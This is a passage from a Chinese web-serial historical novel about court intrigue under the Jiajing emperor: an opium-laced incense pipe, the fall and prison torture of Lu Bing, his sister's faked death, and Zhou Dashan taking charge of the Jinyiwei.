“好!好!好!”嘉靖连说三个好字,捧着书册的手都在微微颤抖,“国师寻得此祥瑞仙书,功在千秋!赏!重赏!”
他转身看向鹤岑,眼中满是热切:“国师,此书中所载法门,可能速成?”
鹤岑躬身道:“回陛下,修仙乃水磨工夫,欲速则不达。然陛下乃真龙天子,有上天庇佑,若按此法勤修不辍,假以时日,必有所成。且此法不伤龙体,反而能调养元气,延年益寿。”
“好!好!”嘉靖大喜,“传旨!即日起,朕要按仙书修行!宫中一应事务,暂由内阁处置,非军国大事,不得扰朕清修!”
百官齐声应诺:“陛下圣明!”
只有邵元节站在一旁,脸色铁青,拳头在袖子里攥得死死的。
他原本计划得好好的:明日冬至斋醮大典,陛下服下加料的金丹,当众失态,然后杨廷和的旧部发难,一举废帝。
可现在倒好,半路杀出个什么《无灵根修仙法》,把陛下的注意力全吸引过去了!
而且那书里明里暗里都在贬低外丹服食,这不就是冲着他来的吗?
他死死盯着鹤岑,眼中几乎要喷出火来。
老东西,坏我大事!
等着,明日斋醮,咱们再分高下!
祥瑞献祭大获成功,嘉靖帝彻底被《无灵根修仙法》吸引,邵元节的阴谋遭遇重挫。
然而明日便是冬至斋醮大典,邵元节必会孤注一掷,在嘉靖帝的“修行”中再做手脚?
那本仙书虽然暂时转移了皇帝对金丹的依赖,可邵元节掌控丹房多年,他会甘心就此失败?
更关键的是——杨廷和、张太后等人得知计划生变,又会如何应对?
风暴前夕的平静,往往最为凶险!
第352章 仙书诱帝心,瑾造“飞升杆”
紫禁城,乾清宫西暖阁。
窗外的日头已经偏西了,可暖阁里还点着蜡烛。
嘉靖皇帝盘腿坐在蒲团上,身上披着件杏黄道袍,手里捧着那本《无灵根修仙法》,看得如痴如醉。
他已经这么坐了两个时辰,连午膳都只草草扒了几口。
“妙……妙啊……”
他嘴里喃喃自语,手指在书页上摩挲着,眼睛里闪着狂热的光。
这书里讲的东西,太对他的胃口了。
什么“内炼金丹”,什么“外修功德”,什么“清心寡欲方为长生正途”——句句都说到了他心坎里。
尤其是那段关于“外丹服食”的批判:“金石之药,性烈如虎,虽能逞一时之快,实则伐根本、损元阳,非但不能长生,反促寿夭……”
嘉靖看到这儿,心里咯噔一下。
他想起自己这些日子,每次服完邵元节进献的金丹,确实会有一阵子精神振奋,可过后却更加疲惫,脾气也越来越暴躁。
难道……真如书中所说,那金丹反倒有害?
正胡思乱想着,他的目光落在了书中的一幅插图上。
那是一根长约二尺的物件,中间是空心的竹管,一端有个玉石雕成的咬嘴,另一端是个铜制的小锅子,锅子旁边还画着几缕烟气。
图旁有注解:“飞升杆,以七种仙草合炼为香,置铜锅内燃之,吸其烟气,可通经脉,助静坐观想。”
嘉靖眼睛亮了。
这玩意儿新鲜!比吞服那些硬邦邦的金丹有意思多了!
他抬起头,看向侍立在一旁的邵元节:“邵真人,你看这‘飞升杆’,宫中可能制作?”
邵元节早就留意到那幅图了,心里正翻江倒海呢。
他是个炼丹的,可也是个见过世面的。
这“飞升杆”的造型,分明跟南边那些抽鸦片的大烟枪一个模子刻出来的!
只是书中说得玄乎,叫什么“修仙法器”,还配了什么“七种仙草”。
这要是让皇帝迷上这玩意儿,他那些金丹怎么办?
“陛下,”邵元节躬身道,声音里带着几分谨慎,“此物构造看似简单,实则内藏玄机。”
竹管的选材、铜锅的厚薄、乃至咬嘴的弧度,都需极为考究。
更关键的是那“七种仙草”的配伍,差之毫厘,谬以千里啊。
他这是想拖时间,回头再想办法把这“飞升杆”搅黄。
可有人不给他这个机会。
鹤岑国师就在另一侧站着呢,闻言立刻接口:“陛下,邵真人所言极是。”
这“飞升杆”制作不易,非精通格物之学的巧匠不能为。
老臣倒想起一人——苏惟瑾苏大人。
他不仅学问好,更精通匠作之术,先前那“先天祭祀神石”便是他指导工匠所制。
若让他来督造此物,定能事半功倍。
嘉靖连连点头:“对对对!苏惟瑾!传!速传苏惟瑾!”
邵元节的脸都绿了,可又不敢说什么,只能眼睁睁看着太监匆匆出去传旨。
约莫半个时辰后,苏惟瑾到了。
他今天穿的是翰林院的青色官袍,补子上绣着鹭鸶,衬得人越发清俊。
进了暖阁,规规矩矩行礼:“臣苏惟瑾,叩见陛下。”
“苏爱卿快平身!”嘉靖急切地招手,“来来来,你看这书中的‘飞升杆’,你可能造?”
苏惟瑾起身,上前几步,接过那本《无灵根修仙法》,翻到插图那一页,仔细看了片刻,然后微微一笑:“回陛下,此物臣已试制了一根。”
“什么?!”嘉靖又惊又喜,“快!快呈上来!”
苏惟瑾从袖中取出一个长条形的锦盒,打开来,里头躺着一根物件。
暖阁里的烛火猛地跳了一下。
所有人都看呆了。
那物件长约二尺,通体呈暗红色,表面有天然的木纹,在烛光下泛着温润的光泽。
竹管用的是海南黄花梨,这种木料本就贵重,更难得的是选的是树心最细密的那一段,打磨得光滑如镜。
铜制的烟锅上镂刻着繁复的云纹,云纹间还有几只仙鹤展翅,栩栩如生。
咬嘴用的是和田白玉,温润洁白,雕成了莲蓬的形状。
这哪里是什么“修仙法器”?分明就是一件艺术品!
嘉靖皇帝眼睛都直了,一把抢过来,捧在手里细细端详,越看越爱:“好!好!苏爱卿果然心思精巧!”
只是……这“七种仙草”所制的香……
“臣也准备好了。”苏惟瑾又从袖中取出一个小瓷瓶,拔开塞子,倒出几粒黄豆大小的褐色香丸,“此乃‘通仙香’,按仙书所载,以艾草、薄荷、灵芝、茯苓、远志、合欢皮、酸枣仁七味药材,研磨成粉,以蜂蜜调和,再以文火慢焙三日而成。”
陛下只需取一粒置于烟锅内点燃,便可吸食其烟气。
嘉靖迫不及待地接过瓷瓶,倒出一粒香丸,小心翼翼地放进烟锅。
旁边的太监赶紧递上火折子。
“刺啦”一声,香丸被点燃了。
一股淡淡的烟气从烟锅里冒出来,带着薄荷的清凉和草药的微苦,还有些许蜂蜜的甜香。
嘉靖把白玉咬嘴含在口中,深深吸了一口——
烟气顺着竹管进入口腔,凉丝丝的,带着一股奇特的香气。
吸入肺里,先是有点呛,可很快,一股清凉的感觉从喉咙一直蔓延到胸口,整个人都精神一振。
他又连吸了几口。
那种感觉越来越明显——连日来因为金丹毒瘾引发的烦躁、焦虑、头痛,竟然缓解了不少!
取而代之的是一种轻飘飘的愉悦感,像是喝了一小杯温酒,微醺却不醉,舒服得很。
“妙!妙哉!”嘉靖放下飞升杆,脸上露出久违的笑容,“此物果然有仙效!吸之令人神清气爽,飘飘欲仙!”
他看向苏惟瑾,眼中满是赞赏:“苏爱卿督造此物有功!赏!重赏!”
苏惟瑾躬身谢恩:“臣不敢居功,此皆陛下洪福齐天,仙书才会现世。”
臣只是按图索骥罢了。
嘉靖哈哈大笑,又拿起飞升杆,爱不释手地把玩。
从这一刻起,这根“飞升杆”就成了他的心头好,走到哪儿带到哪儿,每日不吸上几口,浑身都不自在。
邵元节站在一旁,脸色阴沉得能滴出水来。
等苏惟瑾告退后,他找了个借口也溜了出来,匆匆回到钦安殿的丹房。
关上门,他从袖中摸出一粒“通仙香”——这是刚才趁人不注意,从瓷瓶里偷偷倒出来的。
他把香丸掰开,凑到鼻子前仔细闻,又用小刀刮下一点粉末,放在舌尖尝了尝。
没有罂粟。
一点都没有。
反而有几味药材,比如茯苓、远志,都是解毒安神的。
那薄荷的清凉感,也是为了掩盖草药本身的味道。
邵元节的心沉了下去。
这“通仙香”不仅没有毒,反而对身体有益!
长期吸食,说不定真能缓解陛下对金丹的依赖!
不行!绝不能让这种事发生!
他思来想去,连夜派人去请魏彬。
魏彬来得很快,依旧是那副低眉顺眼的样子:“真人深夜相召,有何要事?”
邵元节把“通仙香”的事说了,末了压低声音:“这香里没有罂粟,陛下吸了之后,对金丹的需求必然会减少。”
长此以往,咱们的计划……
魏彬心里明镜似的,可面上却装出一副沉吟的样子,半晌才道:“真人,咱家倒有个主意。”
“快说!”
“这‘飞升杆’既然能让陛下依赖,那咱们何不将计就计?”魏彬凑近了些,“香里没有罂粟,咱们可以加进去啊。”
把金丹里用的罂粟膏,磨成极细的粉末,掺在这“通仙香”里。
陛下吸了,照样上瘾,而且……
他顿了顿,眼中闪过一丝狡黠:“而且这烟气吸食,比吞服金丹见效更快,瘾头更大。”
到时候,陛下就彻底离不开这“飞升杆”了。
咱们控制起来,岂不更容易?
邵元节眼睛一亮。
对啊!他怎么没想到!
金丹需要吞服,起效慢,而且每次炼丹都要费不少工夫。
可这“通仙香”是现成的,只要在制作的时候偷偷掺入罂粟膏粉末,神不知鬼不觉!
“妙!妙啊!”邵元节抚掌笑道,“魏公公不愧是宫里老人,心思缜密!就这么办!从明日起,咱们就……”
他压低了声音,细细交代起来。
魏彬一边听,一边点头,心里却在冷笑。
老东西,你以为你在第二层,其实苏大人已经在第五层等着你了。
让你掺吧,掺得越多越好。
等陛下对“飞升杆”的依赖彻底取代了对金丹的依赖,苏大人那边一断供,再换上没有罂粟的“清心香”,到时候……
看谁哭得惨。
两人又密谋了一阵,魏彬才告辞离去。
走出钦安殿,他抬头看了看夜空,月明星稀。
快了。
这场戏,快到高潮了。
祥瑞献祭大获成功,嘉靖帝彻底被《无灵根修仙法》与“飞升杆”绑定,邵元节的阴谋看似转向“掌控烟香”,实则踏入苏惟瑾布下的陷阱。
嘉靖的身体能否承受从“吞服金丹”到“吸食烟膏”的转变?
苏惟瑾手中真正的“清心香”又何时能派上用场?
更关键的是——杨廷和等人得知嘉靖迷上“飞升杆”,是否会调整冬至大典的计划?
暗流涌动,各方都在加紧落子,最终胜负,即将揭晓!
第353章 双道共蛊惑,陆炳遭罢黜
入了冬的紫禁城,冷得透骨。
可乾清宫西暖阁里却暖意融融,四个鎏金铜盆里炭火烧得正旺,噼啪作响。
嘉靖皇帝盘腿坐在明黄色蒲团上,身上只披了件单薄的杏黄道袍,却丝毫不见寒意——他脸颊泛着不正常的潮红,额头上沁着细密的汗珠,眼睛半眯着,手里捧着那根黄花梨“飞升杆”,正一口接一口地吸着。
烟气袅袅升起,在暖阁里弥漫开一股奇异的甜香。
那香味初闻是薄荷的清凉,细品又带着草药的微苦,再深嗅,隐约有股说不出的、让人心神恍惚的气息。
鹤岑国师坐在嘉靖左侧的蒲团上,手里捻着一串沉香木念珠,声音舒缓如流水:“陛下,静坐之时,当观想丹田有一团白光,如旭日初升,温暖周身百骸。”
吸气时,白光随气上行至祖窍;呼气时,白光散入四肢……
邵元节坐在右侧,面前摆着个小巧的紫铜香炉,炉中青烟直上。
他接着鹤岑的话头,声音低沉而富有磁性:“国师所言极是。”
然筑基之道,外药亦不可废。
陛下所吸“通仙香”,乃臣以三昧真火炼制,内含离火之精、坎水之华,吸之可补益元阳,疏通经络……
两人一唱一和,把嘉靖哄得晕头转向。
这位皇帝如今是彻底着了道。
每日天不亮就起来静坐,早膳后吸半个时辰“飞升杆”,接着批阅奏章——其实也就是翻翻,大多直接扔给内阁处理。
午后又开始静坐、吸杆,一直到晚膳。
夜里还要“子时采气”,说是吸纳天地阴阳交泰时的灵气。
朝政?那是什么?有修仙重要吗?
内阁几位阁老已经急得嘴角起泡了。
南方水灾的折子、北边鞑靼扰边的军报、各地官员任免的请示……堆在通政司的案头上,都快摞成山了。
可皇帝不见人,只说“非军国大事,勿扰朕清修”。
这日辰时,陆炳又来了。
他站在乾清宫外,身上还穿着飞鱼服,腰挎绣春刀,可眉头皱得能夹死苍蝇。
他已经来了三次,前两次都被太监挡了回去,说陛下正在静坐,不便打扰。
今天,他打定主意,非见到皇帝不可。
“陆指挥使,”当值的大太监高忠一脸为难,“您就别为难咱家了。”
陛下有旨,这几日……
“高公公,”陆炳打断他,声音沉冷,“本官有要事面圣,事关陛下龙体安危。”
你若再拦,出了事,你担待得起吗?
高忠吓得一哆嗦。
陆炳是什么人?锦衣卫指挥使,天子鹰犬,杀人不眨眼的主儿。
他真要硬闯,自己这几个太监哪拦得住?
正僵持着,暖阁里传来嘉靖的声音,带着几分不耐烦:“外头吵吵什么?扰了朕的静坐!”
高忠如蒙大赦,赶紧进去禀报。
片刻后,他出来,苦着脸对陆炳道:“陆指挥使,陛下让您进去。”
可您……说话千万小心些,陛下这几日心情不太好。
陆炳点点头,整了整衣冠,大步走进暖阁。
一进门,那股甜腻的香气就冲进鼻子。
陆炳眉头皱得更紧了,他抬眼看去,只见皇帝盘坐在蒲团上,手里还拿着那根“飞升杆”,脸色潮红,眼神涣散,哪还有半点天子的威仪?
鹤岑和邵元节分坐两侧,见他进来,一个闭目养神,一个嘴角勾起一丝冷笑。
陆炳深吸口气,撩袍跪倒:“臣陆炳,叩见陛下。”
嘉靖懒洋洋地抬了抬眼皮:“陆爱卿啊,什么事这么急?”
“陛下,”陆炳抬起头,目光直视嘉靖,“臣近日听闻,宫中流言四起,称‘飞升杆’此物……似有前朝五石散之弊。”
臣恳请陛下,暂停使用此物,保重龙体!
这话一出口,暖阁里的空气瞬间凝固了。
嘉靖脸上的笑容僵住了,眼神一点点冷下来:“陆炳,你说什么?”
陆炳咬咬牙,继续道:“陛下!五石散乃魏晋时方士所制,服之令人精神亢奋,飘飘欲仙,然久服则伤身损寿,致人癫狂!”
这“飞升杆”吸食之后,症状与史书记载的五石散何其相似!
臣请陛下……
“够了!”
嘉靖猛地一拍身前的紫檀木几案,震得香炉都跳了一下。
他站起身,指着陆炳,手指都在颤抖:“陆炳!你……你屡次诋毁仙道,究竟是何居心?”
莫非见朕修行有望,心生嫉妒?
还是说……你巴不得朕早日龙驭宾天,好另投新主?!
这话太重了。
陆炳脸色一白,伏地叩首:“臣不敢!臣对陛下忠心耿耿,天地可鉴!”
臣只是……
“只是什么?”嘉靖冷笑,“只是觉得朕昏聩无能,被小人蒙蔽?”
陆炳啊陆炳,你真当朕是瞎子、是傻子吗?
邵元节适时开口了,声音阴柔,却字字诛心:“陛下息怒。”
陆指挥使或许……也是一片好心。
只是臣近日发觉,陆指挥使似乎对金丹炼制之法颇有微词,还曾私下联络太医院几位太医,欲验金丹成分……
他顿了顿,叹了口气:“臣知道,炼制金丹耗费颇巨,陆指挥使掌锦衣卫,心疼国库银子,也是情有可原。”
只是这修仙之事,关乎陛下长生,岂能……
“你胡说!”陆炳猛地抬起头,眼中喷火,“邵元节!你妖言惑众,以丹药毒害陛下,还敢污蔑本官?!”
“污蔑?”邵元节不慌不忙,从袖中取出一张纸,“这是太医院李太医的供词,上面白纸黑字写着,陆指挥使曾多次询问金丹成分,还让太医查验是否有毒。”
陛下若不信,可召李太医对质。
嘉靖接过那张纸,扫了一眼,脸色越来越青。
陆炳确实暗中调查过金丹。
他虽未找到确凿证据,可凭着锦衣卫的嗅觉,早就怀疑邵元节的金丹有问题。
只是没想到,这事会被邵元节先捅出来!
“好……好个陆炳!”嘉靖将那张纸狠狠摔在地上,声音冷得像冰,“朕念你多年侍奉,屡次容忍你的僭越之举,不想你竟变本加厉!”
窥探宫禁、诽谤仙道、离间君臣……你还有什么不敢做的?!
他喘了口气,眼中杀机毕露:“传旨!”
高忠吓得跪倒在地:“奴婢在。”
“陆炳诽谤仙道、窥探宫禁、图谋不轨,着革去锦衣卫指挥使之职,剥去官服,交北镇抚司严加勘问!”
其家眷……
嘉靖顿了顿,看向邵元节。
邵元节低声提醒:“陛下,陆炳之妹陆清晏,与苏惟瑾之妻陈芸娘往来甚密,恐是同党。”
嘉靖冷哼:“陆炳妻女发配教坊司,其妹陆清晏……一并处置!”
家产抄没,充入内帑!
“陛下!陛下!”陆炳跪行几步,额头磕在地上砰砰作响,“臣冤枉!臣对陛下忠心耿耿啊!”
邵元节他……
“拖出去!”嘉靖背过身,不再看他。
几个侍卫冲进来,架起陆炳就往外拖。
陆炳挣扎着,嘶声大喊:“陛下!陛下明鉴啊!”
那金丹……那飞升杆……有毒啊!!!
声音渐渐远去,最后消失在宫墙之外。
暖阁里死一般寂静。
鹤岑闭着眼,捻着念珠,仿佛入定。
邵元节垂着眼,嘴角却勾起一抹得意的弧度。
嘉靖重新坐下,拿起“飞升杆”,深深吸了一口。
烟气入肺,那股烦躁和怒火渐渐平息,取而代之的是熟悉的、飘飘然的愉悦。
他闭上眼睛,喃喃道:“清净了……终于清净了……”
消息传到宫外时,苏惟瑾正在翰林院值房整理文书。
来报信的是周大山,这汉子穿着崭新的飞鱼服——刚才宫里已经传了旨,任命他为锦衣卫代指挥使。
虽说是“代”,可谁都知道,陆炳这一进去,怕是出不来了。
“公子,”周大山压低声音,眼中满是怒火,“陆指挥使被押进诏狱了!家眷也……”
他妹妹清晏姑娘,跟嫂夫人交好,您看……
苏惟瑾放下手中的笔,抬起头,眼中一片平静。
他早就料到会有这一天。
陆炳太直,太硬,不懂得迂回。
在嘉靖被丹药彻底控制的情况下,他还敢直谏,这不是找死是什么?
“大山,”苏惟瑾缓缓道,“陆炳之事,我已知晓。”
你现在是锦衣卫代指挥使,第一件事,就是稳住锦衣卫内部。
陆炳经营多年,心腹不少,你既要安抚,也要立威。
周大山重重点头:“俺明白!那些跟陆指挥使走得近的,俺先不动,但得敲打敲打。”
那些墙头草,该拉拢的拉拢,该收拾的收拾。
“第二件事,”苏惟瑾从抽屉里取出一封信,“陆炳在诏狱,不能让他受苦。”
这封信你交给北镇抚司的镇抚使刘桥——他欠我一个人情,会照应的。
至少,不能让陆炳在里头被人害了。
周大山接过信,小心收好。
“第三件事,”苏惟瑾站起身,走到窗前,望着宫城方向,“陆炳的家眷,你想办法照应。”
教坊司那边,使些银子,别让她们受辱。
至于陆清晏……
他顿了顿:“她是芸娘的闺中密友,不能不管。”
你设法将她转移到安全地方,就说……是奉命秘密关押,实则保护起来。
周大山一一记下,末了问道:“公子,那邵元节和鹤岑国师那边……”
“让他们得意几天。”苏惟瑾淡淡道,“陆炳倒了,他们以为扫清了障碍,冬至大典上必会放手一搏。”
咱们……就等着看戏。
他转过身,眼中寒光一闪:“对了,魏彬那边怎么样?”
“按公子吩咐,每日一剂‘逍遥散’,他现在乖得很。”周大山咧嘴一笑,“邵元节让他往‘通仙香’里掺罂粟膏,他二话不说就照办了,还主动加了量。”
苏惟瑾点点头:“好。让他继续掺,掺得越多越好。”
等嘉靖对“飞升杆”的依赖达到顶峰,等邵元节以为胜券在握的时候……
就是收网之时。
窗外,天色阴沉,铅灰色的云层压得很低,像是要下雪了。
冬至大典,还有两天。
陆炳被罢黜入狱,周大山接掌锦衣卫,看似反派大获全胜。
然而苏惟瑾早已布下暗棋——魏彬的双面间谍身份、周大山的实际控制权、陆炳在诏狱的保护、陆家家眷的暗中照应……这一切,邵元节等人浑然不觉。
冬至大典在即,嘉靖对“飞升杆”的依赖日益加深,邵元节自以为掌控全局,却不知自己正一步步踏入陷阱。
风暴眼已然形成,最终爆发的,会是谁的末日?
第354章 狱中护贞烈,瑾谋救清晏
诏狱那地方,别说晚上了,就是大白天从门口过,都能觉着一股子阴气往骨头缝里钻。
墙是青灰色的,又厚又高,上头连个窗户都没有,只有几个碗口大的透气孔。
门口挂着两盏惨白的灯笼,灯罩上积了厚厚一层灰,光透出来都是昏黄的,照得守门狱卒的脸也黄蜡蜡的,不像活人。
陆炳是亥时正被押进去的。
押他的不是锦衣卫的人——周大山刚接手掌印,还没来得及清洗下面。
来的是东厂的番子,一个个穿着褐色的贴里,腰里挎着弯刀,眼神冷得像冰碴子。
诏狱的镇抚使刘桥亲自在门口等着。
这人生得矮胖,面团团的脸上总是堆着笑,可那双小眼睛里偶尔闪过的光,让人心里发毛。
他见了陆炳,还假模假式地拱了拱手:“陆指挥使,得罪了。”
陆炳没说话,只是冷冷地看着他。
身上的飞鱼服已经被剥了,只剩一身白色的中衣,在夜风里瑟瑟发抖。
可他的腰板挺得笔直,头也昂着,仿佛还是那个执掌锦衣卫、令百官胆寒的陆指挥使。
“带进去。”刘桥挥了挥手。
两个狱卒上前,架住陆炳的胳膊。
陆炳挣了一下,没挣开,索性不再反抗,任由他们拖着往里走。
穿过一道又一道铁门,越往里,那股子混杂着霉味、血腥味和腐臭味的气息就越浓。
两旁的牢房里,时不时传来呻吟声、哭泣声,还有铁链拖在地上的刺耳声响。
最后,停在一间单独的牢房前。
门开了,陆炳被推进去。
屋里什么都没有,只有一堆发霉的稻草,墙角有个便桶,散发着恶臭。
墙壁上糊着黑乎乎的东西,凑近了看,是干涸的血迹,一层叠一层,不知浸了多少人的命。
“陆指挥使,”刘桥站在门口,皮笑肉不笑,“上边有交代,您这案子……得‘特别关照’。”
对不住了。
他朝身后的番子使了个眼色。
那几个番子上前,一把将陆炳按倒在地。
陆炳怒吼着挣扎,可双手被反剪着,哪里挣得开?
“你们敢!我是朝廷命官!我是……”
话没说完,嘴里就被塞了块破布。
接下来的一个时辰,是陆炳这辈子最黑暗的时刻。
东厂的人没用寻常的刑具——鞭子、夹棍、烙铁那些,他们用了更阴毒的法子。
专挑人最脆弱、最羞耻的地方下手,不止要你疼,还要把你那点尊严碾得粉碎。
陆炳咬着破布,眼睛瞪得老大,血丝一根根爆出来。
他喉咙里发出野兽般的呜咽,身子抖得像风中的落叶,可自始至终,没掉一滴泪。
等那几个人终于停了手,陆炳已经瘫在稻草堆里,像条被抽了筋的蛇。
刘桥蹲下身,凑到他耳边,声音压得低低的:“陆指挥使,别怪咱家心狠。”
上头说了,要让你……再也当不成男人。
这样,就算将来有翻身的一天,你也没脸再站到人前了。
他站起身,拍了拍手:“好生伺候着,别让他死了。”
铁门哐当一声关上,落了锁。
黑暗里,陆炳蜷缩着,一动不动。
只有偶尔抽搐一下的身体,证明他还活着。
同一时间,南城大杂院。
苏惟瑾坐在屋里,桌上点着一盏油灯。
门被轻轻敲响,胡三领着一个人闪了进来。
那人是个狱卒打扮,四十来岁,面皮黝黑,眼神躲闪。
进了屋,扑通就跪下了:“苏……苏大人。”
“老吴是吧?”苏惟瑾抬了抬手,“起来说话。”
陆指挥使怎么样了?
老吴站起身,不敢抬头,声音发颤:“陆大人他……遭了大罪。”
东厂的人来了,用了宫刑……他们是要彻底毁了他啊!
屋里静了一瞬。
苏惟瑾的手指在桌面上轻轻敲了敲,脸上没什么表情,可眼神冷得能结冰。
“还有呢?”
“陆大人的家眷……妻女已经被押到教坊司了。”老吴咽了口唾沫,“他妹妹陆清晏姑娘,关在女监那边。”
那姑娘……性子太烈了。
狱官让她换教坊司的衣裳,她死活不肯,还骂人。
后来……后来竟一头往墙上撞,幸亏被拦下了,可额角破了,流了好多血……
他顿了顿,声音更低:“陆姑娘说……宁死不辱。”
“宁死不辱……”苏惟瑾轻声重复了一遍。
超频大脑开始运转。
直接劫狱?不行。
诏狱戒备森严,强行救人风险太大,而且会打草惊蛇,坏了整个计划。
可陆清晏那性子……她真会寻短见。
“惟奇。”苏惟瑾转头。
苏惟奇立刻上前:“公子。”
“你去找芸娘,让她想办法去教坊司一趟。”苏惟瑾语速很快,“就说陆清晏是她的闺中密友,如今落了难,想去探望。”
多带些银子,打点上下,务必保住陆家女眷的性命——至少,别让她们受辱。
苏惟奇点头:“我这就去。”
“至于陆清晏……”苏惟瑾沉吟片刻,“我亲自去一趟诏狱。”
老吴吓了一跳:“苏大人,这……诏狱那地方,您……”
“我如今是内阁侍读学士,奉旨巡视诏狱,有何不可?”苏惟瑾淡淡道,“你去安排,明日一早,我要见到陆清晏。”
次日辰时,苏惟瑾的轿子停在了诏狱门口。
他今天穿的是青色的翰林官袍,补子上绣着鹭鸶,头戴乌纱,腰系银带。
虽只是个正六品,可内阁侍读学士这个身份特殊——能在皇帝身边行走,代拟诏书,清贵得很。
刘桥早早就在门口候着了,见了苏惟瑾,满脸堆笑:“苏学士大驾光临,有失远迎,有失远迎!”
苏惟瑾点点头,声音平淡:“奉旨巡视诏狱,看看关押情形。”
刘镇抚使,带路吧。
“是是是,您这边请。”
刘桥在前头引路,苏惟瑾跟在后面,边走边看。
诏狱里头比他想象的还要阴森,墙壁上污渍斑斑,空气中那股子味道熏得人头晕。
偶尔有狱卒押着犯人经过,那些犯人个个衣衫褴褛,眼神空洞,像行尸走肉。
走到女监区域,环境稍好一些,可那股绝望的气息一样浓。
在一间单独的牢房前,刘桥停下了:“苏学士,这就是关押陆清晏的地方。”
这女子性子太烈,昨儿还寻死,您看……
苏惟瑾挥挥手:“你们退下,我单独跟她说几句话。”
刘桥犹豫了一下,可看着苏惟瑾那张平静的脸,还是点了点头,带着狱卒退到了拐角处——不远,刚好听不清说话,又能看到人。
牢门开了。
苏惟瑾走了进去。
牢房里比男监那边干净些,地上铺了层干草,角落里有个木桶,算是便器。
陆清晏坐在草堆上,身上还是昨天那身素白衣裙,只是沾了不少污渍。
额头上缠着块白布,血迹已经渗出来,染红了一片。
她听到动静,抬起头。
那张脸很清秀,眉眼间有股英气,只是此刻苍白得吓人。
眼睛是红肿的,可眼神却很冷,像结了冰的湖面。
苏惟瑾在她面前蹲下身,声音压得低低的:“陆姑娘,我是苏惟瑾。”
陆清晏的睫毛颤了颤,没说话。
“令兄之事,我已知晓。”苏惟瑾继续道,“陆指挥使受的屈辱,将来必百倍奉还。”
但此刻,你需活着。
活着,才能看到仇人倒下;活着,才能为陆家留一线血脉。
陆清晏终于开口,声音嘶哑得厉害:“苏大人……我兄长他……还活着吗?”
“活着。”苏惟瑾肯定道,“我让人暗中照应着,性命无虞。”
只是受了不少苦,这个仇,咱们记着。
他从袖中取出一个小瓷瓶,塞到陆清晏手里:“这是伤药,每日涂抹,不会留疤。”
三日内,我会安排人送你出狱,但需你配合演一场戏。
陆清晏握紧瓷瓶,指节发白:“什么戏?”
“假死脱身。”苏惟瑾看着她,“你额上的伤是个由头。”
我会让人在饭菜里下一种药,服下后气息全无,脉象微弱如死人。
到时候狱中会传出你‘伤重不治’的消息,尸体会被抬出去——那是个女死士替你。
真正的你,会被秘密送走。
陆清晏沉默了很久。
久到苏惟瑾以为她不会答应了,她才缓缓点头,声音轻得像叹息:“好。我信你。”
苏惟瑾站起身,走出牢房。
到了门口,他对刘桥“不经意”道:“此女性烈,若真死在狱中,恐惹非议。”
刘镇抚使,好生看顾着,莫让她寻短见。
若是陛下哪天问起,或是陆炳案有转机……人死了,可就说不清了。
刘桥心头一凛,连声应诺:“下官明白,明白!”
三日后,诏狱传出消息:陆炳之妹陆清晏,因额伤引发高热,伤重不治。
一具盖着白布的尸体被抬了出来,装进薄棺,运往乱葬岗。
半路上,棺材被调包,里头换成了那个叫小莲的女死士——她本就身患痨病,时日无多,自愿替死。
真正的陆清晏,被易容成一个生了麻子的粗使丫鬟,跟着彭友信运菜的马车,悄无声息地出了城,送到了苏惟瑾在城西的一处别院。
而陆炳,在受尽折磨后,也被转移到了诏狱最深处一间隐秘的囚室。
刘桥得了苏惟瑾的暗示和银子,没再让东厂的人碰他,每日还偷偷送些伤药和干净吃食。
苏惟瑾去看过他一次。
那时陆炳已经能坐起来了,只是整个人瘦脱了形,眼窝深陷,头发白了大半。
他靠在墙上,看着苏惟瑾,嘴唇动了动,却没发出声音。
“陆指挥使,”苏惟瑾轻声道,“活着。”
只有活着,才能看到那些人怎么死。
陆炳闭上眼睛,两行混浊的泪从眼角滑落。
城西别院里,陆清晏站在窗前,望着外面光秃秃的树枝。
额上的伤已经结痂了,苏惟瑾给的药很好,应该不会留疤。
她身上换了干净的衣裙,头发也梳整齐了,可眼神里的那层冰,始终没化开。
丫鬟端来汤药,轻声道:“姑娘,该喝药了。”
陆清晏接过碗,一饮而尽。
药很苦,可她眉头都没皱一下。
放下碗,她看向皇宫方向,手指无意识地攥紧了窗棂。
兄长,等我。
等那些害咱们的人,一个个付出代价。
陆清晏假死脱身成功,陆炳性命暂时无虞,苏惟瑾暗中保下了陆家最后的血脉。
然而冬至大典就在明日,邵元节、杨廷和等人的阴谋即将发动?
嘉靖帝如今对“飞升杆”依赖日深,苏惟瑾的“清心香”何时能派上用场?
周大山能否完全掌控锦衣卫?
被秘密安置的陆清晏,又会在最终决战中扮演什么角色?
风暴眼已至,最后的较量,一触即发!
第355章 大山掌缇骑,瑾控锦衣卫
锦衣卫衙门在皇城根儿东边,紧挨着东厂。
两进的大院子,青砖灰瓦,看着朴素,可那门口蹲着的两只石狮子却龇牙咧嘴,瞪着眼,透着股子杀气。
寻常百姓从这儿过,都得绕道走,生怕沾上晦气。
今儿个是周大山头一天来衙门点卯。
他穿了身崭新的飞鱼服,腰里挎着绣春刀,脚蹬黑面白底的官靴。
衣服是连夜赶制的,有点紧,绷在身上,显出一身疙瘩肉。
可往那儿一站,虎背熊腰,倒真有几分气势。
辰时正,鼓响三通。
衙门大堂里,该来的都该来了。
可周大山往公案后头一坐,抬眼一扫,下头稀稀拉拉只站了二三十号人。
锦衣卫在京的千户、百户、总旗,少说也有百八十个,这连一半都不到。
站在最前头的是个老千户,姓赵,五十来岁,面皮白净,留着三缕长须。
他是世袭的职位,祖上跟着成祖皇帝打过靖难,在锦衣卫里资历最老。
此刻他垂着眼皮,手里捻着串佛珠,一副老神在在的模样。
周大山也不恼,咧嘴一笑:“赵老,今儿个点卯,人来得不齐啊。”
赵千户抬起眼皮,慢悠悠道:“回指挥使,今日告病的有七人,外出公干的十二人,另有几位家里有事,告了假。”
这……也是常事。
这话说得滴水不漏,可意思明白得很——你周大山算哪根葱?
也配让咱们全来点卯?
旁边几个百户互相使眼色,嘴角都带着笑。
锦衣卫是什么地方?
勋贵子弟扎堆,世袭军官遍地,最看重出身资历。
你周大山一个泥腿子出身,靠着在广西打了几个土司,又走了苏惟瑾的门路,就敢来坐这把交椅?
做梦呢!
周大山把众人的神色看在眼里,也不生气,反倒哈哈一笑:“行,常事就常事。”
不过咱有句话得说在前头——既然诸位兄弟不服咱,咱也不强求。
这样,咱们按锦衣卫的老规矩,校场较技!
他站起身,走到堂前,声如洪钟:“拳脚、刀弓、火器,任选一项!”
谁能赢咱,咱这指挥使的位置拱手相让!
若没人赢得……
他环视众人,一字一顿:“那从今往后,就给咱老老实实听话!”
谁再阳奉阴违、称病耍滑,别怪咱不客气!
